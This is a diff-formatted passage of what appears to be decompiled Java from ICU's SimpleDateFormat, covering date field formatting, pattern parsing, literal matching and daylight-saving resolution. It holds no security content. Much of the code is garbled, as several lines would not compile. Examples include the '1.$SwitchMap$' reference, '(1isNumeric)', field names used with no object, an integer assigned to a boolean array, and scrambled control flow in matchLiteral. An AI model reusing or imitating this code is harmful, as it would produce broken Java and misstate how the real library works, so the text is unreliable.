+        zeroPaddingNumber(currentNumberFormat, monthNumber, value + 1, count, Integer.MAX_VALUE);
+        String[] monthNumberStrings = new String[1];
+        monthNumberStrings[0] = monthNumber.toString();
+        safeAppendWithMonthPattern(monthNumberStrings, 0, buf, isLeapMonth != 0 ? formatData.leapMonthPatterns[6] : null);
+      }
+      break;
+    case 4: 
+      if (value == 0) {
+        zeroPaddingNumber(currentNumberFormat, buf, cal.getMaximum(11) + 1, count, Integer.MAX_VALUE);
+      }
+      else
+      {
+        zeroPaddingNumber(currentNumberFormat, buf, value, count, Integer.MAX_VALUE);
+      }
+      break;
+    
+
+    case 8: 
+      numberFormat.setMinimumIntegerDigits(Math.min(3, count));
+      numberFormat.setMaximumIntegerDigits(Integer.MAX_VALUE);
+      if (count == 1) {
+        value /= 100;
+      } else if (count == 2) {
+        value /= 10;
+      }
+      FieldPosition p = new FieldPosition(-1);
+      numberFormat.format(value, buf, p);
+      if (count > 3) {
+        numberFormat.setMinimumIntegerDigits(count - 3);
+        numberFormat.format(0L, buf, p);
+      }
+      
+      break;
+    case 19: 
+      if (count < 3) {
+        zeroPaddingNumber(currentNumberFormat, buf, value, count, Integer.MAX_VALUE);
+        
+        break label2190;
+      }
+      
+      value = cal.get(7);
+    
+    case 9: 
+      if (count == 5) {
+        safeAppend(formatData.narrowWeekdays, value, buf);
+        capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.DAY_NARROW;
+      } else if (count == 4) {
+        safeAppend(formatData.weekdays, value, buf);
+        capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.DAY_FORMAT;
+      } else if ((count == 6) && (formatData.shorterWeekdays != null)) {
+        safeAppend(formatData.shorterWeekdays, value, buf);
+        capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.DAY_FORMAT;
+      } else {
+        safeAppend(formatData.shortWeekdays, value, buf);
+        capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.DAY_FORMAT;
+      }
+      break;
+    case 14: 
+      safeAppend(formatData.ampms, value, buf);
+      break;
+    case 15: 
+      if (value == 0) {
+        zeroPaddingNumber(currentNumberFormat, buf, cal.getLeastMaximum(10) + 1, count, Integer.MAX_VALUE);
+      }
+      else
+      {
+        zeroPaddingNumber(currentNumberFormat, buf, value, count, Integer.MAX_VALUE);
+      }
+      break;
+    
+    case 17: 
+      if (count < 4)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.SPECIFIC_SHORT, tz, date);
+        capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.METAZONE_SHORT;
+      } else {
+        result = tzFormat().format(TimeZoneFormat.Style.SPECIFIC_LONG, tz, date);
+        capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.METAZONE_LONG;
+      }
+      buf.append(result);
+      break;
+    case 23: 
+      if (count < 4)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.ISO_BASIC_LOCAL_FULL, tz, date);
+      } else if (count == 5)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.ISO_EXTENDED_FULL, tz, date);
+      }
+      else {
+        result = tzFormat().format(TimeZoneFormat.Style.LOCALIZED_GMT, tz, date);
+      }
+      buf.append(result);
+      break;
+    case 24: 
+      if (count == 1)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.GENERIC_SHORT, tz, date);
+        capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.METAZONE_SHORT;
+      } else if (count == 4)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.GENERIC_LONG, tz, date);
+        capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.METAZONE_LONG;
+      }
+      buf.append(result);
+      break;
+    case 29: 
+      if (count == 1)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.ZONE_ID_SHORT, tz, date);
+      } else if (count == 2)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.ZONE_ID, tz, date);
+      } else if (count == 3)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.EXEMPLAR_LOCATION, tz, date);
+      } else if (count == 4)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.GENERIC_LOCATION, tz, date);
+        capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.ZONE_LONG;
+      }
+      buf.append(result);
+      break;
+    case 31: 
+      if (count == 1)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.LOCALIZED_GMT_SHORT, tz, date);
+      } else if (count == 4)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.LOCALIZED_GMT, tz, date);
+      }
+      buf.append(result);
+      break;
+    case 32: 
+      if (count == 1)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.ISO_BASIC_SHORT, tz, date);
+      } else if (count == 2)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.ISO_BASIC_FIXED, tz, date);
+      } else if (count == 3)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.ISO_EXTENDED_FIXED, tz, date);
+      } else if (count == 4)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.ISO_BASIC_FULL, tz, date);
+      } else if (count == 5)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.ISO_EXTENDED_FULL, tz, date);
+      }
+      buf.append(result);
+      break;
+    case 33: 
+      if (count == 1)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.ISO_BASIC_LOCAL_SHORT, tz, date);
+      } else if (count == 2)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.ISO_BASIC_LOCAL_FIXED, tz, date);
+      } else if (count == 3)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.ISO_EXTENDED_LOCAL_FIXED, tz, date);
+      } else if (count == 4)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.ISO_BASIC_LOCAL_FULL, tz, date);
+      } else if (count == 5)
+      {
+        result = tzFormat().format(TimeZoneFormat.Style.ISO_EXTENDED_LOCAL_FULL, tz, date);
+      }
+      buf.append(result);
+      break;
+    
+    case 25: 
+      if (count < 3) {
+        zeroPaddingNumber(currentNumberFormat, buf, value, 1, Integer.MAX_VALUE);
+
+      }
+      else
+      {
+        value = cal.get(7);
+        if (count == 5) {
+          safeAppend(formatData.standaloneNarrowWeekdays, value, buf);
+          capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.DAY_NARROW;
+        } else if (count == 4) {
+          safeAppend(formatData.standaloneWeekdays, value, buf);
+          capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.DAY_STANDALONE;
+        } else if ((count == 6) && (formatData.standaloneShorterWeekdays != null)) {
+          safeAppend(formatData.standaloneShorterWeekdays, value, buf);
+          capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.DAY_STANDALONE;
+        } else {
+          safeAppend(formatData.standaloneShortWeekdays, value, buf);
+          capContextUsageType = DateFormatSymbols.CapitalizationContextUsage.DAY_STANDALONE;
+        } }
+      break;
+    case 27: 
+      if (count >= 4) {
+        safeAppend(formatData.quarters, value / 3, buf);
+      } else if (count == 3) {
+        safeAppend(formatData.shortQuarters, value / 3, buf);
+      } else {
+        zeroPaddingNumber(currentNumberFormat, buf, value / 3 + 1, count, Integer.MAX_VALUE);
+      }
+      break;
+    case 28: 
+      if (count >= 4) {
+        safeAppend(formatData.standaloneQuarters, value / 3, buf);
+      } else if (count == 3) {
+        safeAppend(formatData.standaloneShortQuarters, value / 3, buf);
+      } else {
+        zeroPaddingNumber(currentNumberFormat, buf, value / 3 + 1, count, Integer.MAX_VALUE);
+      }
+      break;
+    }
+    
+    
+
+
+
+
+
+
+
+
+
+
+
+    zeroPaddingNumber(currentNumberFormat, buf, value, count, Integer.MAX_VALUE);
+    
+    label2190:
+    
+    if (fieldNum == 0) {
+      boolean titlecase = false;
+      if (capitalizationContext != null) {
+        switch (1.$SwitchMap$com$ibm$icu$text$DisplayContext[capitalizationContext.ordinal()]) {
+        case 1: 
+          titlecase = true;
+          break;
+        case 2: 
+        case 3: 
+          if (formatData.capitalization != null) {
+            boolean[] transforms = (boolean[])formatData.capitalization.get(capContextUsageType);
+            titlecase = capitalizationContext == DisplayContext.CAPITALIZATION_FOR_UI_LIST_OR_MENU ? transforms[0] : transforms[1];
+          }
+          break;
+        }
+        
+      }
+      
+
+      if (titlecase) {
+        String firstField = buf.substring(bufstart);
+        String firstFieldTitleCase = UCharacter.toTitleCase(locale, firstField, null, 768);
+        
+        buf.replace(bufstart, buf.length(), firstFieldTitleCase);
+      }
+    }
+    
+
+    if (pos.getBeginIndex() == pos.getEndIndex()) {
+      if (pos.getField() == PATTERN_INDEX_TO_DATE_FORMAT_FIELD[patternCharIndex]) {
+        pos.setBeginIndex(beginOffset);
+        pos.setEndIndex(beginOffset + buf.length() - bufstart);
+      } else if (pos.getFieldAttribute() == PATTERN_INDEX_TO_DATE_FORMAT_ATTRIBUTE[patternCharIndex])
+      {
+        pos.setBeginIndex(beginOffset);
+        pos.setEndIndex(beginOffset + buf.length() - bufstart);
+      }
+    }
+  }
+  
+  private static void safeAppend(String[] array, int value, StringBuffer appendTo) {
+    if ((array != null) && (value >= 0) && (value < array.length)) {
+      appendTo.append(array[value]);
+    }
+  }
+  
+  private static void safeAppendWithMonthPattern(String[] array, int value, StringBuffer appendTo, String monthPattern) {
+    if ((array != null) && (value >= 0) && (value < array.length)) {
+      if (monthPattern == null) {
+        appendTo.append(array[value]);
+      } else {
+        appendTo.append(MessageFormat.format(monthPattern, new Object[] { array[value] }));
+      }
+    }
+  }
+  
+
+  private static class PatternItem
+  {
+    final char type;
+    final int length;
+    final boolean isNumeric;
+    
+    PatternItem(char type, int length)
+    {
+      this.type = type;
+      this.length = length;
+      isNumeric = SimpleDateFormat.isNumeric(type, length);
+    }
+  }
+  
+  private static ICUCache<String, Object[]> PARSED_PATTERN_CACHE = new SimpleCache();
+  private transient Object[] patternItems;
+  private transient boolean useLocalZeroPaddingNumberFormat;
+  private transient char[] decDigits;
+  private transient char[] decimalBuf;
+  private static final String NUMERIC_FORMAT_CHARS = "MYyudehHmsSDFwWkK";
+  
+  private Object[] getPatternItems()
+  {
+    if (patternItems != null) {
+      return patternItems;
+    }
+    
+    patternItems = ((Object[])PARSED_PATTERN_CACHE.get(pattern));
+    if (patternItems != null) {
+      return patternItems;
+    }
+    
+    boolean isPrevQuote = false;
+    boolean inQuote = false;
+    StringBuilder text = new StringBuilder();
+    char itemType = '\000';
+    int itemLength = 1;
+    
+    List<Object> items = new ArrayList();
+    
+    for (int i = 0; i < pattern.length(); i++) {
+      char ch = pattern.charAt(i);
+      if (ch == '\'') {
+        if (isPrevQuote) {
+          text.append('\'');
+          isPrevQuote = false;
+        } else {
+          isPrevQuote = true;
+          if (itemType != 0) {
+            items.add(new PatternItem(itemType, itemLength));
+            itemType = '\000';
+          }
+        }
+        inQuote = !inQuote;
+      } else {
+        isPrevQuote = false;
+        if (inQuote) {
+          text.append(ch);
+        }
+        else if (((ch >= 'a') && (ch <= 'z')) || ((ch >= 'A') && (ch <= 'Z')))
+        {
+          if (ch == itemType) {
+            itemLength++;
+          } else {
+            if (itemType == 0) {
+              if (text.length() > 0) {
+                items.add(text.toString());
+                text.setLength(0);
+              }
+            } else {
+              items.add(new PatternItem(itemType, itemLength));
+            }
+            itemType = ch;
+            itemLength = 1;
+          }
+        }
+        else {
+          if (itemType != 0) {
+            items.add(new PatternItem(itemType, itemLength));
+            itemType = '\000';
+          }
+          text.append(ch);
+        }
+      }
+    }
+    
+
+    if (itemType == 0) {
+      if (text.length() > 0) {
+        items.add(text.toString());
+        text.setLength(0);
+      }
+    } else {
+      items.add(new PatternItem(itemType, itemLength));
+    }
+    
+    patternItems = items.toArray(new Object[items.size()]);
+    
+    PARSED_PATTERN_CACHE.put(pattern, patternItems);
+    
+    return patternItems;
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected void zeroPaddingNumber(NumberFormat nf, StringBuffer buf, int value, int minDigits, int maxDigits)
+  {
+    if ((useLocalZeroPaddingNumberFormat) && (value >= 0)) {
+      fastZeroPaddingNumber(buf, value, minDigits, maxDigits);
+    } else {
+      nf.setMinimumIntegerDigits(minDigits);
+      nf.setMaximumIntegerDigits(maxDigits);
+      nf.format(value, buf, new FieldPosition(-1));
+    }
+  }
+  
+
+
+
+
+  public void setNumberFormat(NumberFormat newNumberFormat)
+  {
+    super.setNumberFormat(newNumberFormat);
+    initLocalZeroPaddingNumberFormat();
+    initializeTimeZoneFormat(true);
+  }
+  
+  private void initLocalZeroPaddingNumberFormat() {
+    if ((numberFormat instanceof DecimalFormat)) {
+      decDigits = ((DecimalFormat)numberFormat).getDecimalFormatSymbols().getDigits();
+      useLocalZeroPaddingNumberFormat = true;
+    } else if ((numberFormat instanceof DateNumberFormat)) {
+      decDigits = ((DateNumberFormat)numberFormat).getDigits();
+      useLocalZeroPaddingNumberFormat = true;
+    } else {
+      useLocalZeroPaddingNumberFormat = false;
+    }
+    
+    if (useLocalZeroPaddingNumberFormat) {
+      decimalBuf = new char[10];
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void fastZeroPaddingNumber(StringBuffer buf, int value, int minDigits, int maxDigits)
+  {
+    int limit = decimalBuf.length < maxDigits ? decimalBuf.length : maxDigits;
+    int index = limit - 1;
+    for (;;) {
+      decimalBuf[index] = decDigits[(value % 10)];
+      value /= 10;
+      if ((index == 0) || (value == 0)) {
+        break;
+      }
+      index--;
+    }
+    int padding = minDigits - (limit - index);
+    while ((padding > 0) && (index > 0)) {
+      decimalBuf[(--index)] = decDigits[0];
+      padding--;
+    }
+    while (padding > 0)
+    {
+
+      buf.append(decDigits[0]);
+      padding--;
+    }
+    buf.append(decimalBuf, index, limit - index);
+  }
+  
+
+
+
+
+  protected String zeroPaddingNumber(long value, int minDigits, int maxDigits)
+  {
+    numberFormat.setMinimumIntegerDigits(minDigits);
+    numberFormat.setMaximumIntegerDigits(maxDigits);
+    return numberFormat.format(value);
+  }
+  
+
+
+
+
+
+
+
+
+
+  private static final boolean isNumeric(char formatChar, int count)
+  {
+    int i = "MYyudehHmsSDFwWkK".indexOf(formatChar);
+    return (i > 0) || ((i == 0) && (count < 3));
+  }
+  
+
+
+
+
+
+  public void parse(String text, Calendar cal, ParsePosition parsePos)
+  {
+    TimeZone backupTZ = null;
+    Calendar resultCal = null;
+    if ((cal != calendar) && (!cal.getType().equals(calendar.getType())))
+    {
+
+
+      calendar.setTimeInMillis(cal.getTimeInMillis());
+      backupTZ = calendar.getTimeZone();
+      calendar.setTimeZone(cal.getTimeZone());
+      resultCal = cal;
+      cal = calendar;
+    }
+    
+    int pos = parsePos.getIndex();
+    int start = pos;
+    
+
+    tztype = TimeZoneFormat.TimeType.UNKNOWN;
+    boolean[] ambiguousYear = { false };
+    
+
+    int numericFieldStart = -1;
+    
+    int numericFieldLength = 0;
+    
+    int numericStartPos = 0;
+    
+    MessageFormat numericLeapMonthFormatter = null;
+    if ((formatData.leapMonthPatterns != null) && (formatData.leapMonthPatterns.length >= 7)) {
+      numericLeapMonthFormatter = new MessageFormat(formatData.leapMonthPatterns[6], locale);
+    }
+    
+    Object[] items = getPatternItems();
+    int i = 0;
+    while (i < items.length) {
+      if ((items[i] instanceof PatternItem))
+      {
+        PatternItem field = (PatternItem)items[i];
+        if (isNumeric)
+        {
+
+
+
+
+
+
+          if (numericFieldStart == -1)
+          {
+            if ((i + 1 < items.length) && ((items[(i + 1)] instanceof PatternItem)) && (1isNumeric))
+            {
+
+
+              numericFieldStart = i;
+              numericFieldLength = length;
+              numericStartPos = pos;
+            }
+          }
+        }
+        if (numericFieldStart != -1)
+        {
+          int len = length;
+          if (numericFieldStart == i) {
+            len = numericFieldLength;
+          }
+          
+
+          pos = subParse(text, pos, type, len, true, false, ambiguousYear, cal, numericLeapMonthFormatter);
+          
+
+          if (pos < 0)
+          {
+
+
+            numericFieldLength--;
+            if (numericFieldLength == 0)
+            {
+              parsePos.setIndex(start);
+              parsePos.setErrorIndex(pos);
+              if (backupTZ != null) {
+                calendar.setTimeZone(backupTZ);
+              }
+              return;
+            }
+            i = numericFieldStart;
+            pos = numericStartPos;
+            continue;
+          }
+        }
+        else if (type != 'l')
+        {
+          numericFieldStart = -1;
+          
+          int s = pos;
+          pos = subParse(text, pos, type, length, false, true, ambiguousYear, cal, numericLeapMonthFormatter);
+          
+
+          if (pos < 0) {
+            if (pos == 33536)
+            {
+              pos = s;
+              
+              if (i + 1 < items.length)
+              {
+                String patl = null;
+                try
+                {
+                  patl = (String)items[(i + 1)];
+                } catch (ClassCastException cce) {
+                  parsePos.setIndex(start);
+                  parsePos.setErrorIndex(s);
+                  if (backupTZ != null) {
+                    calendar.setTimeZone(backupTZ);
+                  }
+                  return;
+                }
+                
+
+                if (patl == null)
+                  patl = (String)items[(i + 1)];
+                int plen = patl.length();
+                int idx = 0;
+                
+
+
+                while (idx < plen)
+                {
+                  char pch = patl.charAt(idx);
+                  if (!PatternProps.isWhiteSpace(pch)) break;
+                  idx++;
+                }
+                
+
+
+
+                if (idx == plen) {
+                  i++;
+                }
+              }
+            }
+            else {
+              parsePos.setIndex(start);
+              parsePos.setErrorIndex(s);
+              if (backupTZ != null) {
+                calendar.setTimeZone(backupTZ);
+              }
+              return;
+            }
+          }
+        }
+      }
+      else
+      {
+        numericFieldStart = -1;
+        boolean[] complete = new boolean[1];
+        pos = matchLiteral(text, pos, items, i, complete);
+        if (complete[0] == 0)
+        {
+          parsePos.setIndex(start);
+          parsePos.setErrorIndex(pos);
+          if (backupTZ != null) {
+            calendar.setTimeZone(backupTZ);
+          }
+          return;
+        }
+      }
+      i++;
+    }
+    
+
+    if (pos < text.length()) {
+      char extra = text.charAt(pos);
+      if ((extra == '.') && (isLenient()) && (items.length != 0))
+      {
+        Object lastItem = items[(items.length - 1)];
+        if (((lastItem instanceof PatternItem)) && (!isNumeric)) {
+          pos++;
+        }
+      }
+    }
+    
+
+
+
+
+    parsePos.setIndex(pos);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    try
+    {
+      if ((ambiguousYear[0] != 0) || (tztype != TimeZoneFormat.TimeType.UNKNOWN))
+      {
+
+
+
+
+        if (ambiguousYear[0] != 0) {
+          Calendar copy = (Calendar)cal.clone();
+          Date parsedDate = copy.getTime();
+          if (parsedDate.before(getDefaultCenturyStart()))
+          {
+            cal.set(1, getDefaultCenturyStartYear() + 100);
+          }
+        }
+        if (tztype != TimeZoneFormat.TimeType.UNKNOWN) {
+          Calendar copy = (Calendar)cal.clone();
+          TimeZone tz = copy.getTimeZone();
+          BasicTimeZone btz = null;
+          if ((tz instanceof BasicTimeZone)) {
+            btz = (BasicTimeZone)tz;
+          }
+          
+
+          copy.set(15, 0);
+          copy.set(16, 0);
+          long localMillis = copy.getTimeInMillis();
+          
+
+
+          int[] offsets = new int[2];
+          if (btz != null) {
+            if (tztype == TimeZoneFormat.TimeType.STANDARD) {
+              btz.getOffsetFromLocal(localMillis, 1, 1, offsets);
+            }
+            else {
+              btz.getOffsetFromLocal(localMillis, 3, 3, offsets);
+            }
+            
+          }
+          else
+          {
+            tz.getOffset(localMillis, true, offsets);
+            
+            if (((tztype == TimeZoneFormat.TimeType.STANDARD) && (offsets[1] != 0)) || ((tztype == TimeZoneFormat.TimeType.DAYLIGHT) && (offsets[1] == 0)))
+            {
+
+
+
+
+
+              tz.getOffset(localMillis - 86400000L, true, offsets);
+            }
+          }
+          
+
+
+          int resolvedSavings = offsets[1];
+          if (tztype == TimeZoneFormat.TimeType.STANDARD) {
+            if (offsets[1] != 0)
+            {
+              resolvedSavings = 0;
+            }
+          }
+          else if (offsets[1] == 0) {
+            if (btz != null) {
+              long time = localMillis + offsets[0];
+              
+
+              long beforeT = time;long afterT = time;
+              int beforeSav = 0;int afterSav = 0;
+              TimeZoneTransition beforeTrs;
+              for (;;)
+              {
+                beforeTrs = btz.getPreviousTransition(beforeT, true);
+                if (beforeTrs != null)
+                {
+
+                  beforeT = beforeTrs.getTime() - 1L;
+                  beforeSav = beforeTrs.getFrom().getDSTSavings();
+                  if (beforeSav != 0) {
+                    break;
+                  }
+                }
+              }
+              TimeZoneTransition afterTrs;
+              for (;;) {
+                afterTrs = btz.getNextTransition(afterT, false);
+                if (afterTrs != null)
+                {
+
+                  afterT = afterTrs.getTime();
+                  afterSav = afterTrs.getTo().getDSTSavings();
+                  if (afterSav != 0) {
+                    break;
+                  }
+                }
+              }
+              if ((beforeTrs != null) && (afterTrs != null)) {
+                if (time - beforeT > afterT - time) {
+                  resolvedSavings = afterSav;
+                } else {
+                  resolvedSavings = beforeSav;
+                }
+              } else if ((beforeTrs != null) && (beforeSav != 0)) {
+                resolvedSavings = beforeSav;
+              } else if ((afterTrs != null) && (afterSav != 0)) {
+                resolvedSavings = afterSav;
+              } else {
+                resolvedSavings = btz.getDSTSavings();
+              }
+            } else {
+              resolvedSavings = tz.getDSTSavings();
+            }
+            if (resolvedSavings == 0)
+            {
+              resolvedSavings = 3600000;
+            }
+          }
+          
+          cal.set(15, offsets[0]);
+          cal.set(16, resolvedSavings);
+        }
+        
+      }
+    }
+    catch (IllegalArgumentException e)
+    {
+      parsePos.setErrorIndex(pos);
+      parsePos.setIndex(start);
+      if (backupTZ != null) {
+        calendar.setTimeZone(backupTZ);
+      }
+      return;
+    }
+    
+
+    if (resultCal != null) {
+      resultCal.setTimeZone(cal.getTimeZone());
+      resultCal.setTimeInMillis(cal.getTimeInMillis());
+    }
+    
+    if (backupTZ != null) {
+      calendar.setTimeZone(backupTZ);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private int matchLiteral(String text, int pos, Object[] items, int itemIndex, boolean[] complete)
+  {
+    int originalPos = pos;
+    String patternLiteral = (String)items[itemIndex];
+    int plen = patternLiteral.length();
+    int tlen = text.length();
+    int idx = 0;
+    while ((idx < plen) && (pos < tlen)) {
+      char pch = patternLiteral.charAt(idx);
+      char ich = text.charAt(pos);
+      if ((PatternProps.isWhiteSpace(pch)) && (PatternProps.isWhiteSpace(ich)))
+      {
+
+
+        while ((idx + 1 < plen) && (PatternProps.isWhiteSpace(patternLiteral.charAt(idx + 1))))
+        {
+          idx++; } }
+      for (;;) {
+        if ((pos + 1 < tlen) && (PatternProps.isWhiteSpace(text.charAt(pos + 1))))
+        {
+          pos++; continue;
+          
+          if (pch != ich) {
+            if ((ich != '.') || (pos != originalPos) || (0 >= itemIndex) || (!isLenient())) break label212;
+            Object before = items[(itemIndex - 1)];
+            if ((before instanceof PatternItem)) {
+              boolean isNumeric = isNumeric;
+              if (!isNumeric) {
+                pos++;
+                break;
+              }
+            }
+            break label212;
+          }
+        } }
+      idx++;
+      pos++; }
+    label212:
+    complete[0] = (idx == plen ? 1 : false);
+    if ((complete[0] == 0) && (isLenient()) && (0 < itemIndex) && (itemIndex < items.length - 1))
+    {
+
+
+      if (originalPos < tlen) {
+        Object before = items[(itemIndex - 1)];
+        Object after = items[(itemIndex + 1)];
+        if (((before instanceof PatternItem)) && ((after instanceof PatternItem))) {
+          char beforeType = type;
+          char afterType = type;
+          if (DATE_PATTERN_TYPE.contains(beforeType) != DATE_PATTERN_TYPE.contains(afterType)) {
+            int newPos = originalPos;
+            for (;;) {
+              char ich = text.charAt(newPos);
+              if (!PatternProps.isWhiteSpace(ich)) {
+                break;
+              }
+              newPos++;
+            }
+            complete[0] = (newPos > originalPos ? 1 : false);
+            pos = newPos;
+          }
+        }
+      }
+    }
+    return pos;
+  }
+  
+  static final UnicodeSet DATE_PATTERN_TYPE = new UnicodeSet("[GyYuUQqMLlwWd]").freeze();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int matchString(String text, int start, int field, String[] data, Calendar cal)
+  {
+    return matchString(text, start, field, data, null, cal);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int matchString(String text, int start, int field, String[] data, String monthPattern, Calendar cal)
+  {
+    int i = 0;
+    int count = data.length;
+    
+    if (field == 7) { i = 1;
+    }
+    
+
+
+
+    int bestMatchLength = 0;int bestMatch = -1;
+    int isLeapMonth = 0;
+    int matchLength = 0;
+    for (; 
+        i < count; i++)
+    {
+      int length = data[i].length();
+      
+
+      if ((length > bestMatchLength) && ((matchLength = regionMatchesWithOptionalDot(text, start, data[i], length)) >= 0))
+      {
+
+        bestMatch = i;
+        bestMatchLength = matchLength;
+        isLeapMonth = 0;
+      }
+      if (monthPattern != null) {
+        String leapMonthName = MessageFormat.format(monthPattern, new Object[] { data[i] });
+        length = leapMonthName.length();
+        if ((length > bestMatchLength) && ((matchLength = regionMatchesWithOptionalDot(text, start, leapMonthName, length)) >= 0))
+        {
+
+          bestMatch = i;
+          bestMatchLength = matchLength;
+          isLeapMonth = 1;
+        }
+      }
+    }
+    if (bestMatch >= 0)
+    {
+      if (field == 1) {
+        bestMatch++;
+      }
+      cal.set(field, bestMatch);
+      if (monthPattern != null) {
+        cal.set(22, isLeapMonth);
+      }
+      return start + bestMatchLength;
+    }
+    return -start;
+  }
+  
+  private int regionMatchesWithOptionalDot(String text, int start, String data, int length) {
+    boolean matches = text.regionMatches(true, start, data, 0, length);
+    if (matches) {
+      return length;
+    }
+    if ((data.length() > 0) && (data.charAt(data.length() - 1) == '.') && 
+      (text.regionMatches(true, start, data, 0, length - 1))) {
+      return length - 1;
+    }
+    
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int matchQuarterString(String text, int start, int field, String[] data, Calendar cal)
+  {
+    int i = 0;
+    int count = data.length;
+    
+
+
+
+
+    int bestMatchLength = 0;int bestMatch = -1;
+    int matchLength = 0;
+    for (; i < count; i++) {
+      int length = data[i].length();
+      
+
+      if ((length > bestMatchLength) && ((matchLength = regionMatchesWithOptionalDot(text, start, data[i], length)) >= 0))
+      {
+
+        bestMatch = i;
+        bestMatchLength = matchLength;
+      }
+    }
+    
+    if (bestMatch >= 0) {
+      cal.set(field, bestMatch * 3);
+      return start + bestMatchLength;
+    }
+    
+    return -start;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int subParse(String text, int start, char ch, int count, boolean obeyCount, boolean allowNegative, boolean[] ambiguousYear, Calendar cal)
+  {
+    return subParse(text, start, ch, count, obeyCount, allowNegative, ambiguousYear, cal, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int subParse(String text, int start, char ch, int count, boolean obeyCount, boolean allowNegative, boolean[] ambiguousYear, Calendar cal, MessageFormat numericLeapMonthFormatter)
+  {
+    Number number = null;
+    NumberFormat currentNumberFormat = null;
+    int value = 0;
+    
+    ParsePosition pos = new ParsePosition(0);
+    boolean lenient = isLenient();
+    
+
+    int patternCharIndex = -1;
+    if (('A' <= ch) && (ch <= 'z')) {
+      patternCharIndex = PATTERN_CHAR_TO_INDEX[(ch - '@')];
+    }
+    
+    if (patternCharIndex == -1) {
+      return -start;
+    }
+    
+    currentNumberFormat = getNumberFormat(ch);
+    
+    int field = PATTERN_INDEX_TO_CALENDAR_FIELD[patternCharIndex];
+    
+    if (numericLeapMonthFormatter != null) {
+      numericLeapMonthFormatter.setFormatByArgumentIndex(0, currentNumberFormat);
+    }
+    
+
+    for (;;)
+    {
+      if (start >= text.length()) {
+        return -start;
+      }
+      int c = UTF16.charAt(text, start);
+      if ((!UCharacter.isUWhiteSpace(c)) || (!PatternProps.isWhiteSpace(c))) {
+        break;
+      }
+      start += UTF16.getCharCount(c);
+    }
+    pos.setIndex(start);
+    
+
+
+
+
+    if ((patternCharIndex == 4) || (patternCharIndex == 15) || ((patternCharIndex == 2) && (count <= 2)) || ((patternCharIndex == 26) && (count <= 2)) || (patternCharIndex == 1) || (patternCharIndex == 18) || (patternCharIndex == 30) || ((patternCharIndex == 0) && (cal.getType().equals("chinese"))) || (patternCharIndex == 8))
+    {
+
+
+
+
+
+
+
+
+
+
+      boolean parsedNumericLeapMonth = false;
+      if ((numericLeapMonthFormatter != null) && ((patternCharIndex == 2) || (patternCharIndex == 26)))
+      {
+        Object[] args = numericLeapMonthFormatter.parse(text, pos);
+        if ((args != null) && (pos.getIndex() > start) && ((args[0] instanceof Number))) {
+          parsedNumericLeapMonth = true;
+          number = (Number)args[0];
+          cal.set(22, 1);
+        } else {
+          pos.setIndex(start);
+          cal.set(22, 0);
+        }
+      }
+      
+      if (!parsedNumericLeapMonth) {
+        if (obeyCount) {
+          if (start + count > text.length()) {
+            return -start;
+          }
+          number = parseInt(text, count, pos, allowNegative, currentNumberFormat);
+        } else {
+          number = parseInt(text, pos, allowNegative, currentNumberFormat);
+        }
+        if ((number == null) && (patternCharIndex != 30)) {
+          return -start;
+        }
+      }
+      
+      if (number != null) {
+        value = number.intValue();
+      }
+    }
+    
+    switch (patternCharIndex)
+    {
+    case 0: 
+      if (cal.getType().equals("chinese"))
+      {
+
+        cal.set(0, value);
+        return pos.getIndex();
+      }
+      int ps = 0;
+      if (count == 5) {
+        ps = matchString(text, start, 0, formatData.narrowEras, null, cal);
+      } else if (count == 4) {
+        ps = matchString(text, start, 0, formatData.eraNames, null, cal);
+      } else {
+        ps = matchString(text, start, 0, formatData.eras, null, cal);
+      }
+      
+
+
+
+      if (ps == -start) {
+        ps = 33536;
+      }
+      return ps;
+    
+
+
+
+
+
+
+
+
+    case 1: 
+    case 18: 
+      if ((override != null) && ((override.compareTo("hebr") == 0) || (override.indexOf("y=hebr") >= 0)) && (value < 1000)) {
+        value += 5000;
+      } else if ((count == 2) && (pos.getIndex() - start == 2) && (!cal.getType().equals("chinese")) && (UCharacter.isDigit(text.charAt(start))) && (UCharacter.isDigit(text.charAt(start + 1))))
+      {
+
+
+
+
+
+
+
+
+
+
